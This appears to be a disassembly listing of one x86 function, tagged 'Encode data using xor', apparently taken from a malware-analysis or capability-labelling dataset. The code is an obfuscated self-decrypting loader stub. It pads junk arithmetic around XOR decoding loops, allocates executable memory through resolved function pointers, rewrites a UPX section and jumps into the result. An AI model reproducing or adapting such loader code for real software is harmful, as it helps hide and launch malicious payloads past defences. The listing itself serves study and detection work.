Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1474b98f
inc ecx
sub edi, 0xbf6a6dd8
or edi, ecx
popal
add ecx, 0xb4ce0837
not ecx
not ecx
mov edi, 0
mov ebx, esi
not ecx
sub eax, ecx
mov edx, ebx
add ecx, 0x455322dc
mov ecx, eax
mov esi, edx
mov ecx, 0xe86c0242
and ecx, eax
add edi, 1
inc ecx
inc ecx
mov eax, ecx
cmp edi, 0x100ff0e
jne 0x47b453
add eax, eax
not ecx
add eax, ecx
not ecx
and ecx, edi
mov ecx, edi
mov edi, 0x47b21e
mov ecx, esi
add ecx, 0x580022e8
dec ebx
mov edx, 0x47b412
or ecx, ebx
sub esi, ebx
mov eax, dword [edi]
sub ebx, 0xdc033a
add esi, 0x4d4e465c
and eax, 0xff
add ecx, esi
or ebx, ecx
inc ecx
xor dword [edx], eax
or ecx, ebx
add esi, 0x38a1dd57
inc edx
add esi, ecx
or esi, ecx
inc edi
sub ecx, ebx
add esi, 0xff5e8f9e
cmp edx, entry0
jl 0x47b4a5
add ebx, 0x1635a4f0
and ecx, esi
inc ebx
mov esi, ebx
inc ecx
inc edi
dec ebx
mov edx, 0x47b416
and ebx, ecx
sub ebx, 0xf95456da
mov edx, dword [edx]
and ebx, ebx
mov esi, 0xaea80dea
mov edx, dword [edx]
sub ecx, edi
inc edi
mov ebx, 0xb82a2da2
push edx
and ebx, ecx
sub ecx, 0xa26e2f08
mov edx, 0x47b412
and edi, ebx
sub ecx, ebx
not esi
mov edx, dword [edx]
mov ecx, esi
dec esi
mov edx, dword [edx]
inc esi
sub edi, 0xd0001437
sub ebx, 0x54a5cc50
push 0x47b41a
mov ebx, edi
not ebx
call edx
sub ebx, 0xf0d1696f
not ebx
pop edx
mov ebx, 0xa92db50
add edi, 0x78911dd8
push 0x47b427
inc esi
not ecx
push eax
mov edi, esi
not ecx
call edx
add edi, 0xf68fd42
and ecx, edi
push 0x40
mov esi, edi
sub ecx, esi
mov ecx, 0xd65ad106
push 0x3000
sub ebx, 1
inc ebx
sub esp, 4
mov dword [esp], 0x2000069c
add edi, 1
add edi, esi
sub esp, 4
mov dword [esp], 0
add ebx, 0xe2a2321e
add esi, 0xab976a31
call eax
sub ebx, 0x300079eb
add ecx, ebx
and esi, ebx
add eax, 0x20000611
sub edi, 0x6bf1aa24
mov edi, 0x51a05478
dec esi
mov edx, 0x943f2733
sub ebx, 1
or ecx, ecx
dec edi
mov dword [eax], edx
or esi, ecx
or ecx, ecx
mov esi, edi
mov edx, dword [eax]
sub edi, 0xf3566bca
sub esi, 0x950f3449
cmp edx, 0x943f2733
je 0x47b601
mov ecx, 0
mov bl, byte [ecx]
and edi, ebx
mov ecx, 0xfe98d51c
mov ecx, ebx
mov esi, ebx
inc ecx
dec ecx
sub edi, 1
mov edx, section.UPX1
mov edi, 0x23a88c0d
or ecx, edi
and ecx, ecx
mov eax, 0x47b21d
and ecx, edi
add edi, ecx
mov ebx, 0
sub edi, 0xb025e106
or ecx, ecx
add edi, ecx
mov esi, 0x47b21e
dec ecx
not edi
add edi, 0xc0c84f54
lea esi, [esi + ebx]
sub ecx, 0x2c36f889
sub edi, 0xd6db9ea3
mov esi, dword [esi]
mov edi, 0x39da371e
add edi, 1
and esi, 0xff
not ecx
or edi, ecx
inc ebx
or edi, edi
sub edi, ecx
not ecx
cmp ebx, 0x1f4
jne 0x47b682
mov ebx, 0
inc ecx
and edi, ecx
sub ecx, edi
add edi, 0xd9c0f99a
not ecx
sub ecx, edi
xor dword [edx], esi
not ecx
add edi, 0xfc70efeb
sub edi, 0xbfbd85a
add edx, 2
mov ecx, 0x95ad57c4
add edi, 1
sub edi, ecx
cmp edx, eax
jl 0x47b63a
mov ecx, 0xf7320d32
add ecx, 0xc14a845c
sub ecx, 0x11ecf52b
sub ecx, 0x1dfd13f1
and ecx, edi
mov edi, section.UPX1
not ebx
mov ebx, 0x748cc4c1
mov eax, section.UPX1
mov esi, ebx
inc ebx
mov ecx, 0x47b21d
add ebx, esi
add ebx, 0xb9fde2ac
mov edx, 0
add esi, esi
add esi, ebx
mov dl, byte [eax]
mov esi, 0x2110e76a
not ebx
mov ebx, 0x25da3759
mov byte [edi], dl
sub ebx, 0xe22a44dc
mov ebx, esi
inc edi
add ebx, 0x86ae37
mov ebx, 0x550b29ff
sub esi, ebx
add eax, 2
sub ebx, esi
not ebx
cmp eax, ecx
jle 0x47b6ff
add esi, 0x5f816472
add ebx, 0x5f0ce7b7
add esi, 0xb8b79428
add ecx, 1
or edi, edi
not ecx
push 0x45e6a0
not edi
not ecx
ret